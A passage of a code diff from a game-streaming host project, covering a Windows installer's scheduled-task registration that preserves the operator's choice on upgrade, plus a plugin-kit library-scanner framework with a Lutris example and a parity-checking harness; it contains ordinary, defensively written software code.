; Put back what StopBunRuntimes disabled to unlock bun.exe. Deliberately the LAST [Run] entry that @@ -619,6 +618,12 @@ end; it disabled would switch it off for everyone who had it on. } var WebTaskWasEnabled, ScriptingTaskWasEnabled: Boolean; + { Did PunktfunkScripting exist AT ALL before this install (enabled or not)? That is what + distinguishes a FRESH scripting install — where the runner is now registered enabled by default + (design D9: the library moves into plugins, and a flagship surface cannot depend on an opt-in + subsystem, or a fresh box would come up with an empty library) — from an UPGRADE, where the + operator's own choice is the only thing that may decide it. } + ScriptingTaskExisted: Boolean; { Escape a value for embedding in a single-quoted PowerShell literal ('' is PS's escaped quote). The install dir is user-chosen, so it can legitimately contain an apostrophe. } @@ -643,6 +648,22 @@ begin Result := ResultCode = 1; end; +{ Is the task registered at all, whatever its state? Distinct from TaskEnabled: an operator who + deliberately DISABLED the runner must keep it disabled across an upgrade, which is indistinguishable + from a fresh install if you only ask "was it enabled". } +function TaskExists(TaskName: String): Boolean; +var + ResultCode: Integer; +begin + Result := False; + if Exec('powershell.exe', + '-NoProfile -ExecutionPolicy Bypass -Command "' + + '$t=Get-ScheduledTask -TaskName ''' + PsLiteral(TaskName) + ''' -ErrorAction SilentlyContinue; ' + + 'if($t){exit 1}; exit 0"', + '', SW_HIDE, ewWaitUntilTerminated, ResultCode) then + Result := ResultCode = 1; +end; + { Free the bundled bun.exe (and the console's own files) BEFORE the copy. Windows will not delete a running image, so a surviving bun means "DeleteFile failed; code 5" on bun\bun.exe - the modal a user hit updating to 0.22.1. @@ -664,6 +685,9 @@ var begin WebTaskWasEnabled := TaskEnabled('PunktfunkWeb'); ScriptingTaskWasEnabled := TaskEnabled('PunktfunkScripting'); + { Probed BEFORE the Disable below, which would otherwise make every upgrade look like a fresh + install to the registration entry. } + ScriptingTaskExisted := TaskExists('PunktfunkScripting'); Exec('powershell.exe', '-NoProfile -ExecutionPolicy Bypass -Command "' + '$ErrorActionPreference=''SilentlyContinue''; ' + @@ -689,6 +713,35 @@ end; DELETED the legacy task (the console runs under the host service now), so Enable-ScheduledTask hits nothing and no-ops under SilentlyContinue. If the user cancels mid-install, though, DeinitializeSetup runs this same restore and puts the old (task-owned) world back intact. } +{ Register PunktfunkScripting, and decide whether it comes up ENABLED. + `Register-ScheduledTask` registers enabled, so the state is decided by what follows: + * FRESH install (the task did not exist) -> leave it enabled and start it now, so the runner is + live without waiting for a reboot. Since the library's scanners become plugins (design D9), + shipping this opt-in would mean a fresh box comes up with an empty library and no obvious + reason why. + * UPGRADE (the task existed) -> disable here and let RestoreTasksParams put the operator's own + state back. That order is deliberate: this entry cannot know what they chose, and defaulting + to "on" here would silently switch the runner on for everyone who had turned it off. + It remains opt-OUT: `punktfunk-host plugins disable`, or the task's own Disable, still wins and + survives every later upgrade through exactly this path. } +function ScriptingRegisterParams(Param: String): String; +begin + Result := '-NoProfile -ExecutionPolicy Bypass -Command "' + + '$ErrorActionPreference=''SilentlyContinue''; ' + + '$a=New-ScheduledTaskAction -Execute ''' + + PsLiteral(ExpandConstant('{app}\scripting\scripting-run.cmd')) + '''; ' + + '$t=New-ScheduledTaskTrigger -AtStartup; ' + + '$p=New-ScheduledTaskPrincipal -UserId ''LocalService'' -LogonType ServiceAccount; ' + + '$s=New-ScheduledTaskSettingsSet -RestartCount 999 -RestartInterval (New-TimeSpan -Minutes 1) ' + + '-AllowStartIfOnBatteries -DontStopIfGoingOnBatteries; ' + + 'Register-ScheduledTask -TaskName PunktfunkScripting -Action $a -Trigger $t -Principal $p ' + + '-Settings $s -Force | Out-Null; '; + if ScriptingTaskExisted then + Result := Result + 'Disable-ScheduledTask -TaskName PunktfunkScripting | Out-Null"' + else + Result := Result + 'Start-ScheduledTask -TaskName PunktfunkScripting | Out-Null"'; +end; + function RestoreTasksParams(Param: String): String; begin Result := '-NoProfile -ExecutionPolicy Bypass -Command "$ErrorActionPreference=''SilentlyContinue''; '; diff --git a/plugin-kit/README.md b/plugin-kit/README.md index 0dc97bb0..50fa1f3e 100644 --- a/plugin-kit/README.md +++ b/plugin-kit/README.md @@ -53,6 +53,41 @@ export default definePluginKit({ | `loggingLayer` | runner-journal line format | | `@punktfunk/plugin-kit/react` | browser glue: `createPluginRouter` (path→hash→fallback deep-link restore + `pf-ui:navigate`), `resolvePluginBase`, `useIsEmbedded`, `ResultGate`, `sseAtom` | | `@punktfunk/plugin-kit/theme.css` | the console's violet identity for plugin UIs (import first in your Tailwind entry) | +| `@punktfunk/plugin-kit/library` | everything a **game-library scanner** plugin needs — see below | + +## Library-scanner plugins (`@punktfunk/plugin-kit/library`) + +The six first-party scanners (steam, lutris, heroic, epic, gog, xbox) each live in **their own +repo**, like every other punktfunk plugin. Nothing is lost by that split because everything they +share is published here rather than sitting adjacent to them: + +| Export | What it saves you writing | +| --- | --- | +| `defineLibraryPlugin` | the whole plugin except the scan: store claim, sync engine (poll + fs-watch + debounce), launcher entries, `__config`, `category: "library"` registration, and the `detect` / `scan` / `parity` / `uninstall` CLI verbs | +| `parsers/*` | text VDF + `.acf`, binary `shortcuts.vdf` (with the CRC-32 appid and the 64-bit `rungameid` composition), read-only SQLite, `reg.exe`, capped readers, a confined path join, Steam root/library discovery, art location helpers, an anti-SSRF fetch | +| `diffParity` + the `parity` verb | the acceptance gate below | + +A first-party scanner is therefore **its parsers and a `scan` function** — a few hundred lines. + +### The parity gate + +Ported unit tests pin the parsers; they do not prove the plugin reproduces the scanner it replaces. +A plugin that parses perfectly and emits `steam:440.0` instead of `steam:440` breaks every Moonlight +pin on the host, and no parser test notices. So, on a box with that launcher installed: + +```sh +# 1. while the host is still using its BUILT-IN scanner: +punktfunk-plugin-steam parity --snapshot before.json +# 2. offline — runs this plugin's own scan and diffs: +punktfunk-plugin-steam parity --compare before.json +``` + +`--compare` exits non-zero on any difference, so it works as a release gate. It compares ids, +titles, launch recipes, roles and metadata exactly; **art by presence, not value** (the +representation legitimately changes — a host-relative proxy path or inlined `data:` URL becomes a +`file://` path or a CDN URL), so spot-check a few covers by eye once. Launcher entries the plugin +adds are reported separately rather than failing the run; an ordinary title the scanner never had +still fails. ## Telling the host how to recognize a running title (`detect`) diff --git a/plugin-kit/examples/lutris-plugin.ts b/plugin-kit/examples/lutris-plugin.ts new file mode 100644 index 00000000..1752923b --- /dev/null +++ b/plugin-kit/examples/lutris-plugin.ts @@ -0,0 +1,168 @@ +// A COMPLETE library-scanner plugin, and the template the six first-party ones are cut from. +// +// This is the lutris pilot (design M5/WP5.1) — the smallest of the six, and the one that exercises +// the POSIX local-art path end to end. It lives here as a worked example rather than shipped code: +// each scanner gets its OWN repo (the house pattern), and this is what you copy into a fresh one. +// `package.json`'s `files` is dist + README, so nothing here is published. +// +// The point it proves: everything below the `scan` function is store-specific parsing, and +// everything else — the store claim, the sync engine, launcher entries, `__config`, the console +// registration, the CLI verbs including the parity gate — comes from `defineLibraryPlugin`. That is +// what makes six repos cost nothing in duplication. +// +// Ported from crates/punktfunk-host/src/library/lutris.rs, with two deliberate changes: +// * art is emitted as `file://` URLs instead of inlined `data:` URLs. The host proxies the bytes, +// so the reconcile payload stays tiny — inlining covers is what blew the host's 2 MB body limit +// at 49 titles during the playnite work, and it is exactly why the POSIX art path exists (G4). +// * the `installed = 1` filter and the untrusted-slug guard are carried over verbatim. The slug +// comes from Lutris's own database and is interpolated into a path, so the guard is load-bearing. +import * as os from "node:os"; +import * as path from "node:path"; +import { Effect, Schema } from "effect"; +import { + defineLibraryPlugin, + fileUrl, + isFile, + withReadOnlyDb, +} from "../src/library/index.js"; +import type { ProviderEntry } from "../src/wire.js"; + +const LutrisConfig = Schema.Struct({ + /** + * Where `pga.db` lives, when it isn't in one of the standard places. Annotated because the + * console's generic settings form derives its label and help text from exactly these. + */ + databasePath: Schema.optionalKey( + Schema.String.annotate({ + title: "Lutris database", + description: + "Absolute path to pga.db. Leave empty to find it automatically.", + }), + ), +}); + +/** Candidate `pga.db` locations: XDG data dir, the classic path, Flatpak. */ +const databaseCandidates = (): string[] => { + const out: string[] = []; + const xdg = process.env.XDG_DATA_HOME; + if (xdg) out.push(path.join(xdg, "lutris/pga.db")); + const home = os.homedir(); + if (home) { + out.push(path.join(home, ".local/share/lutris/pga.db")); + out.push(path.join(home, ".var/app/net.lutris.Lutris/data/lutris/pga.db")); + } + return out; +}; + +const findDatabase = (cfg: { databasePath?: string }): string | undefined => + [...(cfg.databasePath ? [cfg.databasePath] : []), ...databaseCandidates()].find( + isFile, + ); + +/** + * `/.jpg` across the current, legacy-cache and Flatpak Lutris roots. + * + * The slug comes verbatim from Lutris's database and is interpolated into a path, so a separator, + * parent ref or NUL is refused — otherwise a crafted slug is an arbitrary-file-read primitive, and + * the resulting path would be handed to the host's art proxy to serve (security-review 2026-07-17). + * Real Lutris slugs are `[a-z0-9-]`. + */ +const artFile = (kind: string, slug: string): string | undefined => { + if ( + slug === "" || + slug.includes("/") || + slug.includes("\\") || + slug.includes("..") || + slug.includes("\0") + ) { + return undefined; + } + const home = os.homedir(); + if (!home) return undefined; + const roots = [ + path.join(home, ".local/share/lutris"), + path.join(home, ".cache/lutris"), + path.join(home, ".var/app/net.lutris.Lutris/data/lutris"), + path.join(home, ".var/app/net.lutris.Lutris/cache/lutris"), + ]; + for (const root of roots) { + const p = path.join(root, kind, `${slug}.jpg`); + if (isFile(p)) return p; + } + return undefined; +}; + +interface GameRow { + id: number; + slug: string | null; + name: string; + directory: string | null; +} + +export default defineLibraryPlugin({ + // One string: plugin id, provider id, store claim, and the id of the built-in scanner this + // replaces. That identity chain is what keeps entry ids, GameStream app ids and the operator's + // existing enable/disable state intact across the migration. + name: "lutris", + configSchema: LutrisConfig, + + detect: (cfg) => Effect.sync(() => findDatabase(cfg) !== undefined), + + scan: (cfg) => + Effect.sync(() => { + const db = findDatabase(cfg); + if (!db) return []; + // Read-only + immutable: a running Lutris holding the file can neither block us nor be + // disturbed by us. + const rows = + withReadOnlyDb(db, (h) => + // `directory` is our only detect signal but is not load-bearing for the library, so + // a schema without it must not cost the whole source — the helper answers [] on a + // bad query, and the fallback keeps the titles. + h.query( + "SELECT id, slug, name, directory FROM games " + + "WHERE installed = 1 AND name IS NOT NULL AND name <> '' " + + "ORDER BY name COLLATE NOCASE", + ), + ) ?? []; + const usable = + rows.length > 0 + ? rows + : (withReadOnlyDb(db, (h) => + h.query( + "SELECT id, slug, name, NULL AS directory FROM games " + + "WHERE installed = 1 AND name IS NOT NULL AND name <> '' " + + "ORDER BY name COLLATE NOCASE", + ), + ) ?? []); + + return usable.map((row): ProviderEntry => { + const portrait = row.slug ? artFile("coverart", row.slug) : undefined; + const header = row.slug ? artFile("banners", row.slug) : undefined; + const dir = row.directory?.trim(); + return { + // The host composes `lutris:` — byte-identical to what the built-in + // scanner produced, which the parity gate checks. + external_id: String(row.id), + title: row.name, + launch: { kind: "lutris_id", value: String(row.id) }, + art: { + ...(portrait ? { portrait: fileUrl(portrait) } : {}), + ...(header ? { header: fileUrl(header) } : {}), + }, + // Lutris stamps no per-game env marker worth relying on, so the install dir is the + // whole recipe; a game with none (an emulator entry pointing at a bare ROM) stays + // untracked, exactly as it did in-host. + ...(dir ? { detect: { install_dir: dir } } : {}), + platform: "PC", + }; + }); + }), + + // Re-scan when Lutris writes: installing a game touches the database, and downloading art + // touches the cover directories. + watchDirs: (cfg) => { + const db = findDatabase(cfg); + return db ? [path.dirname(db)] : []; + }, +}); diff --git a/plugin-kit/package.json b/plugin-kit/package.json index 855d1a82..c4cf6fad 100644 --- a/plugin-kit/package.json +++ b/plugin-kit/package.json @@ -1,6 +1,6 @@ { "name": "@punktfunk/plugin-kit", - "version": "0.2.0", + "version": "0.3.1", "description": "Effect-based framework for punktfunk plugins: lifecycle runtime, config/state, sync engine, UI serving, CLI scaffold, and browser helpers.", "type": "module", "license": "MIT OR Apache-2.0", @@ -29,6 +29,10 @@ "types": "./dist/wire.d.ts", "default": "./dist/wire.js" }, + "./library": { + "types": "./dist/library/index.d.ts", + "default": "./dist/library/index.js" + }, "./theme.css": "./dist/theme.css" }, "files": ["dist", "README.md"], diff --git a/plugin-kit/src/cli.ts b/plugin-kit/src/cli.ts index fcad0385..cb0dabab 100644 --- a/plugin-kit/src/cli.ts +++ b/plugin-kit/src/cli.ts @@ -73,11 +73,17 @@ export const runPluginCli = async (opts: { const rt = ManagedRuntime.make(Layer.provideMerge(opts.def.layer, base)); try { await rt.runPromise(Effect.scoped(command.run(rest))); - process.exitCode = 0; + // Do NOT clobber a non-zero code the command set deliberately. `parity --compare` reports a + // mismatch by setting `process.exitCode = 1` and then RETURNING normally — a red parity is a + // finished comparison, not a crashed command. Assigning 0 here unconditionally overwrote it, + // so the one verb documented as a release gate ("exits non-zero on any difference", "do not + // publish a version whose parity run is red") always exited 0, and any scripted use of it + // passed. MEASURED against a live host on 2026-08-06: `parity FAILED — 1 missing`, exit 0. + process.exitCode ??= 0; } catch (e) { const hint = e instanceof HostRequestError - ? " (is the punktfunk host running?)" + ? " (is the Punktfunk host running?)" : ""; console.error(`${opts.def.name}: ${name} failed: ${e}${hint}`); process.exitCode = 1; diff --git a/plugin-kit/src/index.ts b/plugin-kit/src/index.ts index 3d2758dd..cd4aef44 100644 --- a/plugin-kit/src/index.ts +++ b/plugin-kit/src/index.ts @@ -43,6 +43,13 @@ export { type SyncSettings, type SyncStatus, } from "./sync-engine.js"; -export { httpApiEnv, serveUi, type ServeUiOptions } from "./ui-server.js"; +export { + deriveConfigJsonSchema, + httpApiEnv, + makeConfigHandler, + serveUi, + type ServeUiConfig, + type ServeUiOptions, +} from "./ui-server.js"; export { sseRoute, type SseRouteOptions } from "./sse.js"; export { type CliCommand, runPluginCli } from "./cli.js"; diff --git a/plugin-kit/src/library/define.ts b/plugin-kit/src/library/define.ts new file mode 100644 index 00000000..8978b12c --- /dev/null +++ b/plugin-kit/src/library/define.ts @@ -0,0 +1,335 @@ +// `defineLibraryPlugin` — the shared framework behind every library-scanner plugin (design D10). +// +// The point of this module is that a first-party scanner should be **its parsers and a scan +// function**, ~200–400 lines, and nothing else. Everything a scanner needs beyond that is identical +// across all six of them and lives here: claiming the store, reconciling through the sync engine, +// appending launcher entries, serving `__config` so the console renders settings without the plugin +// shipping an SPA, registering under `category: "library"` so it stays out of the nav, and the +// standard CLI verbs. +import type { PluginDef } from "@punktfunk/host"; +import * as fs from "node:fs"; +import { Duration, Effect, Layer, Schema, Stream } from "effect"; +import { type CliCommand, runPluginCli } from "../cli.js"; +import { type ConfigService, makeConfigService } from "../config.js"; +import { HostClient, PluginInfo } from "../host-client.js"; +import { ProviderClient, type ProviderClientService } from "../reconcile.js"; +import { definePluginKit, type PluginKitDef } from "../runtime.js"; +import { makeSyncEngine } from "../sync-engine.js"; +import { serveUi } from "../ui-server.js"; +import type { ProviderEntry } from "../wire.js"; +import { + diffParity, + formatParityReport, + fromHostEntry, + fromProviderEntry, + type HostGameEntry, +} from "./parity.js"; + +/** What a scan produced — the status surface and the CLI's `scan` verb both render this. */ +export interface ScanReport { + readonly entries: number; + readonly launchers: number; + /** False when the launcher isn't installed here — the library is legitimately empty. */ + readonly present: boolean; +} + +export interface LibraryPluginDef { + /** + * The plugin id. **This one string is also the provider id, the store claim, and the id of the + * built-in scanner this plugin replaces.** That identity chain is what makes the migration + * invisible: entry ids stay `:`, GameStream app ids and client art caches + * stay valid, and the operator's existing enable/disable state carries over untouched. + */ + readonly name: string; + readonly version?: string; + /** + * The store to claim (design D2). Defaults to {@link name} and should almost never differ — see + * the identity note above. Pass `null` to opt out of claiming entirely, which makes this an + * ordinary unclaimed provider whose entries surface as `custom:`. + */ + readonly store?: string | null; + /** The operator-facing config schema. Drives `__config` and every callback's argument. */ + readonly configSchema: S; + /** + * Is this launcher present on the host at all? Surfaces in the CLI's `detect` verb, and lets the + * plugin report "not installed" rather than silently syncing an empty library. + */ + readonly detect: (cfg: S["Type"]) => Effect.Effect; + /** Enumerate the launcher's installed titles — the only real per-store code. */ + readonly scan: ( + cfg: S["Type"], + ) => Effect.Effect>; + /** + * Entries that open the LAUNCHER itself (design D4) — Steam Big Picture, Heroic, … Appended to + * every reconcile, so toggling one in config takes effect on the next sync. Emit them with + * `role: "launcher"`; the kit does not stamp it for you, because a plugin may legitimately want + * an entry that opens a launcher but still lists as an ordinary game. + */ + readonly launchers?: (cfg: S["Type"]) => ReadonlyArray; + /** Launcher data dirs to watch, so a newly installed game appears without waiting for a poll. */ + readonly watchDirs?: (cfg: S["Type"]) => ReadonlyArray; + /** How often to re-scan regardless of watches. Default `Duration.minutes(15)`. */ + readonly pollInterval?: Duration.Duration; + /** Debounce on filesystem events. Default `Duration.seconds(3)`. */ + readonly debounce?: Duration.Duration; + /** Display title (the console's sources row falls back to the scanner label). Defaults to `name`. */ + readonly title?: string; + /** Extra CLI verbs beyond the standard `detect` / `scan` / `uninstall` set. */ + readonly commands?: Record>; +} + +/** `--flag value` from an argv slice, or undefined. */ +const flagValue = ( + argv: ReadonlyArray, + flag: string, +): string | undefined => { + const i = argv.indexOf(flag); + return i >= 0 && i + 1 < argv.length ? argv[i + 1] : undefined; +}; + +/** The pieces a library plugin package wires into its entry points. */ +export interface LibraryPlugin { + /** The runner-discovered default export (`export default plugin.def`). */ + readonly def: PluginDef; + /** The CLI entry (`await plugin.cli()` from the package's bin). */ + readonly cli: (argv?: ReadonlyArray) => Promise; +} + +export const defineLibraryPlugin = ( + def: LibraryPluginDef, +): LibraryPlugin => { + const store = def.store === null ? undefined : (def.store ?? def.name); + const poll = def.pollInterval ?? Duration.minutes(15); + const debounce = def.debounce ?? Duration.seconds(3); + + /** The config service, built fresh wherever it is needed (it only requires `PluginInfo`). */ + const config: Effect.Effect, never, PluginInfo> = + makeConfigService({ schema: def.configSchema }); + + /** Scan + launcher entries, in the order they should reach the host. */ + const computeEntries = ( + cfg: S["Type"], + ): Effect.Effect<{ + readonly entries: ReadonlyArray; + readonly report: ScanReport; + }> => + Effect.gen(function* () { + const present = yield* def.detect(cfg); + // A launcher that isn't installed contributes NOTHING — not even its launcher entries. A + // "Steam Big Picture" tile on a box without Steam would only fail to launch. + if (!present) { + return { + entries: [] as ReadonlyArray, + report: { entries: 0, launchers: 0, present: false } as const, + }; + } + const scanned = yield* def.scan(cfg); + const launchers = def.launchers?.(cfg) ?? []; + return { + entries: [...scanned, ...launchers], + report: { + entries: scanned.length, + launchers: launchers.length, + present: true, + } as const, + }; + }); + + /** + * Push one entry set to the host under the store claim, warning **once** if the host is too old + * to honour it. + * + * This degradation is worth the code: a pre-M2 host ignores `?store=` silently, and the only + * symptom would be this plugin's titles appearing as unbadged `custom:` entries *beside* the + * built-in scanner's identical ones — a confusing double-listing with no error anywhere. + * Checking the echoed entries turns that into one actionable log line. + */ + const applyEntries = + (provider: ProviderClientService, state: { warned: boolean }) => + (entries: ReadonlyArray): Effect.Effect => + provider.reconcile(def.name, entries, store).pipe( + Effect.tap((echoed) => { + if (!store || state.warned || echoed.length === 0) return Effect.void; + if (echoed.some((e) => e.store === store)) return Effect.void; + state.warned = true; + return Effect.logWarning( + `host is too old for store claims: this source's games will appear as custom ` + + `entries and the host's own "${store}" scanner is not suppressed, so titles ` + + `may be listed twice. Updating the host resolves it.`, + ); + }), + Effect.asVoid, + ); + + const main = Effect.gen(function* () { + const cfgService = yield* config; + const provider = yield* ProviderClient; + const state = { warned: false }; + + const engine = yield* makeSyncEngine< + ScanReport, + ReadonlyArray, + never + >({ + compute: () => cfgService.load.pipe(Effect.flatMap(computeEntries)), + apply: applyEntries(provider, state), + // The host IS the state: a full-replace reconcile is idempotent, so there is nothing to + // persist between runs. Reporting no previous fingerprint means the first sync after a + // restart always pushes, which is exactly what we want (the host may have been reinstalled + // underneath us). + lastSync: { get: Effect.succeed(undefined), set: () => Effect.void }, + settings: cfgService.load.pipe( + Effect.map((cfg) => def.watchDirs?.(cfg) ?? []), + // A config file that won't decode must not stop the poll loop: fall back to no watch + // dirs, keep syncing on the timer, and let the operator see the parse error in the + // settings drawer (`GET /__config` reports it). + Effect.catch(() => Effect.succeed([] as ReadonlyArray)), + Effect.map((watchDirs) => ({ + pollInterval: poll, + watch: true, + debounce, + watchDirs, + })), + ), + }); + + // The UI server exists ONLY to serve `__config` (and the SDK's `__health`): no `staticDir`, + // no API. That is the whole "settings without an SPA" story (design D7, closing G8), and the + // `library` category is what keeps six installed scanners out of the console's sidebar. + yield* serveUi({ + title: def.title ?? def.name, + category: "library", + config: { schema: def.configSchema, service: cfgService }, + }); + + yield* engine.start; + // A saved settings change is exactly when a user expects the library to update — and it may + // have changed `watchDirs`, so re-read settings rather than just re-syncing. + yield* Effect.forkScoped( + Stream.runForEach(cfgService.changes, () => engine.reconfigure), + ); + yield* Effect.never; + }); + + const kitDef: PluginKitDef = { + name: def.name, + ...(def.version !== undefined ? { version: def.version } : {}), + layer: ProviderClient.layer, + main: main as Effect.Effect< + void, + never, + ProviderClient | HostClient | PluginInfo | never + >, + }; + + const standardCommands: Record> = { + detect: { + summary: "report whether this launcher is installed on the host", + // Offline on purpose: "is Steam here?" must be answerable without a running host. + offline: true, + run: () => + Effect.gen(function* () { + const cfg = yield* (yield* config).load; + console.log((yield* def.detect(cfg)) ? "present" : "absent"); + }), + }, + scan: { + summary: "scan and print what WOULD be synced (--preview for the JSON entries)", + // Also offline: the point is to debug a scanner against real launcher files without + // touching the host's library. + offline: true, + run: (argv) => + Effect.gen(function* () { + const cfg = yield* (yield* config).load; + const { entries, report } = yield* computeEntries(cfg); + if (argv.includes("--preview")) { + console.log(JSON.stringify(entries, null, 2)); + } else { + console.log( + `${report.present ? "present" : "absent"}: ${report.entries} games, ` + + `${report.launchers} launcher entries`, + ); + } + }), + }, + parity: { + summary: + "prove this plugin reproduces the built-in scanner (--snapshot | --compare )", + // `--compare` is offline (it runs THIS plugin's scan); `--snapshot` needs the host. The + // dispatcher decides per invocation below, so the verb is registered as online and the + // snapshot path is the one that actually uses the client. + run: (argv) => + Effect.gen(function* () { + const snapshot = flagValue(argv, "--snapshot"); + const compare = flagValue(argv, "--compare"); + if (!snapshot && !compare) { + console.error( + "usage: parity --snapshot (capture the host's CURRENT library for this store)\n" + + " parity --compare (diff this plugin's scan against that capture)", + ); + process.exitCode = 2; + return; + } + if (snapshot) { + // The baseline: what the host reports for THIS store while its built-in scanner + // is still the thing producing it. Capture before installing the plugin. + const host = yield* HostClient; + const body = yield* host.request("GET", "/library"); + const mine = (Array.isArray(body) ? (body as HostGameEntry[]) : []) + .filter((e) => e.store === (store ?? def.name)) + .map(fromHostEntry) + .sort((a, b) => a.id.localeCompare(b.id)); + yield* Effect.sync(() => + fs.writeFileSync(snapshot, `${JSON.stringify(mine, null, 2)}\n`), + ); + console.log( + `captured ${mine.length} "${store ?? def.name}" entries to ${snapshot}`, + ); + return; + } + const baseline = yield* Effect.try({ + try: () => + JSON.parse(fs.readFileSync(compare as string, "utf8")) as ReturnType< + typeof fromHostEntry + >[], + catch: (cause) => new Error(`cannot read ${compare}: ${cause}`), + }); + const cfg = yield* (yield* config).load; + const { entries } = yield* computeEntries(cfg); + const produced = entries.map((e) => + fromProviderEntry(store ?? def.name, e), + ); + const report = diffParity(baseline, produced); + console.log(formatParityReport(report)); + // A non-zero exit is what makes this usable as a release gate rather than a report + // somebody skims. + if (!report.ok) process.exitCode = 1; + }), + }, + uninstall: { + summary: "remove this source's games from the host and release its store claim", + run: () => + Effect.gen(function* () { + const provider = yield* ProviderClient; + // The empty reconcile clears the entries; DELETE is what releases the CLAIM — and + // releasing is what brings the host's own built-in scanner straight back. + yield* provider.reconcile(def.name, [], undefined); + yield* provider.remove(def.name); + console.log(`${def.name}: entries removed, store claim released`); + }), + }, + }; + + return { + def: definePluginKit(kitDef), + cli: (argv) => + runPluginCli({ + def: kitDef, + commands: { + ...standardCommands, + ...(def.commands ?? {}), + } as Record>, + ...(argv !== undefined ? { argv } : {}), + }), + }; +}; diff --git a/plugin-kit/src/library/index.ts b/plugin-kit/src/library/index.ts new file mode 100644 index 00000000..a040ec6a --- /dev/null +++ b/plugin-kit/src/library/index.ts @@ -0,0 +1,23 @@ +// `@punktfunk/plugin-kit/library` — the shared framework for library-scanner plugins. +// +// A first-party scanner is its parsers plus a scan function; everything else (store claim, sync +// engine wiring, launcher entries, `__config`, nav category, CLI verbs) comes from +// `defineLibraryPlugin`. See design/library-scanner-plugins.md D10. +export { + defineLibraryPlugin, + type LibraryPlugin, + type LibraryPluginDef, + type ScanReport, +} from "./define.js"; +export { + claimedLibraryId, + diffParity, + formatParityReport, + fromHostEntry, + fromProviderEntry, + type HostGameEntry, + type ParityChange, + type ParityEntry, + type ParityReport, +} from "./parity.js"; +export * from "./parsers/index.js"; diff --git a/plugin-kit/src/library/parity.ts b/plugin-kit/src/library/parity.ts new file mode 100644 index 00000000..e0363aaa --- /dev/null +++ b/plugin-kit/src/library/parity.ts @@ -0,0 +1,249 @@ +// The parity harness: proof that a library plugin reproduces the in-host scanner it replaces. +// +// This is the acceptance gate for every extracted scanner (design M5). Ported unit tests are +// necessary but nowhere near sufficient — they pin the PARSERS, while what actually has to hold is +// that the whole pipeline lands the same entries, with the same ids, launch recipes and detect +// signals, on a real box with a real launcher installed. A plugin that parses perfectly and emits +// `steam:440` as `steam:440.0` breaks every Moonlight pin on the host and no parser test notices. +// +// It lives in the KIT, not in a plugin, because it is identical for all six: capture what the host +// reports while its built-in scanner is doing the work, then check the plugin produces the same set. +// (One plugin per repo is the house pattern, so anything shared has to be published, not adjacent.) +// +// Usage, per plugin, on a box with that launcher installed: +// +// punktfunk-plugin-steam parity --snapshot before.json # host still on its built-in scanner +// punktfunk-plugin-steam parity --compare before.json # offline: runs THIS plugin's scan +// +// `--compare` runs the plugin's own scan directly rather than installing it first, so a mismatch is +// visible before anything is published — and the run is repeatable while you fix it. +import type { ProviderEntry } from "../wire.js"; + +/** The four art slots, in the order the host's box-art ladder tries them. */ +const ART_KINDS = ["portrait", "hero", "logo", "header"] as const; +type ArtKind = (typeof ART_KINDS)[number]; + +/** One entry, reduced to the facts parity is about. */ +export interface ParityEntry { + /** The store-qualified library id — the field everything downstream is keyed on. */ + readonly id: string; + readonly title: string; + /** `:`, or null when the entry has no launch recipe. */ + readonly launch: string | null; + /** `"game"` or `"launcher"`. */ + readonly role: string; + /** + * Which art kinds are PRESENT, not their values. The representation legitimately changes on + * extraction (a scanner's `data:` URL or host-relative proxy path becomes a `file://` path or a + * CDN URL), so comparing values would fail every time for no reason. Presence is the invariant + * that matters: a title that had a poster must still have one. + */ + readonly art: Readonly>; + /** Flat descriptive metadata (platform, genres, …) — compared verbatim. */ + readonly meta: Readonly>; +} + +/** What the host reports for one entry in `GET /library`. */ +export interface HostGameEntry { + id: string; + store: string; + title: string; + role?: string; + launch?: { kind: string; value: string } | null; + art?: Partial>; + [extra: string]: unknown; +} + +/** Keys on a host entry that are structure, not descriptive metadata. */ +const NON_META = new Set([ + "id", + "store", + "title", + "role", + "launch", + "art", + "provider", + "external_id", + "prep", + "detect", +]); + +const artPresence = ( + art: Partial> | undefined, +): Record => { + const out = {} as Record; + for (const k of ART_KINDS) out[k] = Boolean(art?.[k]); + return out; +}; + +const pickMeta = (src: Record): Record => { + const out: Record = {}; + for (const [k, v] of Object.entries(src)) { + // Absent and empty are the same thing here: the host omits empty lists and null fields, and a + // plugin that sends `genres: []` has not changed anything. + if (NON_META.has(k) || v == null) continue; + if (Array.isArray(v) && v.length === 0) continue; + out[k] = v; + } + return out; +}; + +/** The library id the host assigns a claimed entry — the deterministic `:`. */ +export const claimedLibraryId = (store: string, externalId: string): string => + `${store}:${externalId}`; + +/** Reduce what the host reported (the BEFORE side) to a comparable entry. */ +export const fromHostEntry = (e: HostGameEntry): ParityEntry => ({ + id: e.id, + title: e.title, + launch: e.launch ? `${e.launch.kind}:${e.launch.value}` : null, + role: e.role ?? "game", + art: artPresence(e.art), + meta: pickMeta(e as Record), +}); + +/** Reduce what this plugin produced (the AFTER side) to a comparable entry. */ +export const fromProviderEntry = ( + store: string, + e: ProviderEntry, +): ParityEntry => { + const rec = e as unknown as Record; + return { + id: claimedLibraryId(store, e.external_id), + title: e.title, + launch: e.launch ? `${e.launch.kind}:${e.launch.value}` : null, + role: (e as { role?: string }).role ?? "game", + art: artPresence( + e.art as Partial> | undefined, + ), + meta: pickMeta(rec), + }; +}; + +/** One field that differs between the two sides. */ +export interface ParityChange { + readonly id: string; + readonly field: string; + readonly before: unknown; + readonly after: unknown; +} + +export interface ParityReport { + /** In the baseline, absent from what the plugin produced — the plugin LOST a title. */ + readonly missing: ParityEntry[]; + /** Produced by the plugin, absent from the baseline — the plugin invented a title. */ + readonly extra: ParityEntry[]; + /** Same id, different facts. */ + readonly changed: ParityChange[]; + /** Entries present on both sides and identical. */ + readonly matched: number; + /** + * Launcher entries the plugin adds (design D4). Never a failure: the built-in scanner had no + * concept of them, so they are expected to be `extra` and are reported separately so a real + * regression isn't buried under them. + */ + readonly launchersAdded: ParityEntry[]; + readonly ok: boolean; +} + +/** + * Diff a baseline (what the host reported while its built-in scanner ran) against what this plugin + * produced. `ok` is true only when nothing is missing, nothing unexpected is extra, and no compared + * field changed. + */ +export const diffParity = ( + baseline: ReadonlyArray, + produced: ReadonlyArray, +): ParityReport => { + const byId = new Map(baseline.map((e) => [e.id, e])); + const producedIds = new Set(produced.map((e) => e.id)); + const changed: ParityChange[] = []; + const extra: ParityEntry[] = []; + const launchersAdded: ParityEntry[] = []; + let matched = 0; + + for (const after of produced) { + const before = byId.get(after.id); + if (!before) { + // A launcher entry has no counterpart by construction — the scanner never emitted one. + (after.role === "launcher" ? launchersAdded : extra).push(after); + continue; + } + const diffs = compareEntry(before, after); + if (diffs.length === 0) matched++; + else 